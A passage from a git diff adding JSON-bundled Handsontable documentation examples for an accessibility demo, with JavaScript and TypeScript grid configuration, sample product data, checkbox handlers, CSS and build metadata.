'2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst app = document.getElementById('example1');\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data: products,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true,\n tabNavigation: true,\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\nlet hot = new Handsontable(app, hotOptions);\n// Helper function to set up checkbox event handling\nconst setupCheckbox = (element, callback) => element.addEventListener('click', () => callback(element.checked));\n\n// Set up event listeners for various checkboxes to update Handsontable settings.\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\n// Checkbox: Enable/Disable Tab Navigation\nsetupCheckbox(document.querySelector('#enable-tab-navigation'), (checked) => {\n hotOptions.tabNavigation = checked;\n hot.updateSettings({\n tabNavigation: hotOptions.tabNavigation,\n });\n console.log('Updated setting: tabNavigation to', hot.getSettings().tabNavigation);\n});\n// Checkbox: Enable/Disable Header Navigation\nsetupCheckbox(document.querySelector('#enable-header-navigation'), (checked) => {\n hotOptions.navigableHeaders = checked;\n hot.updateSettings({\n navigableHeaders: hotOptions.navigableHeaders,\n });\n console.log('Updated setting: navigableHeaders to', hot.getSettings().navigableHeaders);\n});\n// Checkbox: Enable/Disable Cell Virtualization\nsetupCheckbox(document.querySelector('#enable-cell-virtualization'), (checked) => {\n hot.destroy();\n hot = new Handsontable(document.getElementById('example1'), {\n ...hotOptions,\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: hot.getSettings().renderAllRows,\n renderAllColumns: hot.getSettings().renderAllColumns,\n });\n});\n// Checkbox: Enable/Disable Cell Enter Editing\nsetupCheckbox(document.querySelector('#enable-cell-enter-editing'), (checked) => {\n hotOptions.enterBeginsEditing = checked;\n hot.updateSettings({\n enterBeginsEditing: hotOptions.enterBeginsEditing,\n });\n console.log('Updated setting: enable-cell-enter-editing to', hot.getSettings().enterBeginsEditing);\n});\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Row\nsetupCheckbox(document.querySelector('#enable-arrow-rl-first-last-column'), (checked) => {\n hotOptions.autoWrapRow = checked;\n hot.updateSettings({\n autoWrapRow: hotOptions.autoWrapRow,\n });\n console.log('Updated setting: autoWrapRow to', hot.getSettings().autoWrapRow);\n});\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Column\nsetupCheckbox(document.querySelector('#enable-arrow-td-first-last-column'), (checked) => {\n hotOptions.autoWrapCol = checked;\n hot.updateSettings({\n autoWrapCol: hotOptions.autoWrapCol,\n });\n console.log('Updated setting: autoWrapCol to', hot.getSettings().autoWrapCol);\n});\n// Checkbox: Enable/Disable Enter Key Focus for Editing\nsetupCheckbox(document.querySelector('#enable-enter-focus-editing'), (checked) => {\n hotOptions.enterMoves = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n hot.updateSettings({\n enterMoves: hotOptions.enterMoves,\n });\n console.log('Updated setting: enterMoves to', hot.getSettings().enterMoves);\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/javascript/example1.js","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__javascript__example1.ts.json new file mode 100644 index 00000000..aad1ad1e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessibility · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n
\n \n Enable navigation with the Tab key\n \n \n \n \n \n \n \n
\n
\n \n \n Enable navigation across headers\n \n \n \n \n \n \n \n
\n
\n \n \n Enable cells virtualization\n \n \n \n \n \n \n \n
\n
\n \n The Enter key begins cell editing\n \n \n \n \n \n \n \n
\n
\n \n The right/left arrow keys move the focus to the first/last column\n \n \n \n \n \n \n \n
\n
\n \n \n The up/down arrow keys move the focus to the first/last row\n \n \n \n \n \n \n \n
\n
\n \n \n The Enter key moves the focus after cell edition\n \n \n \n \n \n \n \n
\n
\n \n \n \n
\n \n \n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\ninterface Product {\n companyName: string;\n productName: string;\n sellDate: string;\n inStock: boolean;\n qty: number;\n orderId: string;\n country: string;\n}\n\n/* start:skip-in-preview */\nconst products: Product[] = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst app = document.getElementById('example1')!;\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data: products,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true, // New accessibility feature\n tabNavigation: true, // New accessibility feature\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\nlet hot = new Handsontable(app, hotOptions);\n\n// Helper function to set up checkbox event handling\nconst setupCheckbox = (element: HTMLInputElement, callback: (val: boolean) => void) =>\n element.addEventListener('click', () => callback(element.checked));\n\n// Set up event listeners for various checkboxes to update Handsontable settings.\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\n\n// Checkbox: Enable/Disable Tab Navigation\nsetupCheckbox(document.querySelector('#enable-tab-navigation') as HTMLInputElement, (checked) => {\n hotOptions.tabNavigation = checked;\n hot.updateSettings({\n tabNavigation: hotOptions.tabNavigation,\n });\n console.log('Updated setting: tabNavigation to', hot.getSettings().tabNavigation);\n});\n\n// Checkbox: Enable/Disable Header Navigation\nsetupCheckbox(document.querySelector('#enable-header-navigation') as HTMLInputElement, (checked) => {\n hotOptions.navigableHeaders = checked;\n hot.updateSettings({\n navigableHeaders: hotOptions.navigableHeaders,\n });\n console.log('Updated setting: navigableHeaders to', hot.getSettings().navigableHeaders);\n});\n\n// Checkbox: Enable/Disable Cell Virtualization\nsetupCheckbox(document.querySelector('#enable-cell-virtualization') as HTMLInputElement, (checked) => {\n hot.destroy();\n hot = new Handsontable(document.getElementById('example1')!, {\n ...hotOptions,\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: hot.getSettings().renderAllRows,\n renderAllColumns: hot.getSettings().renderAllColumns,\n });\n});\n\n// Checkbox: Enable/Disable Cell Enter 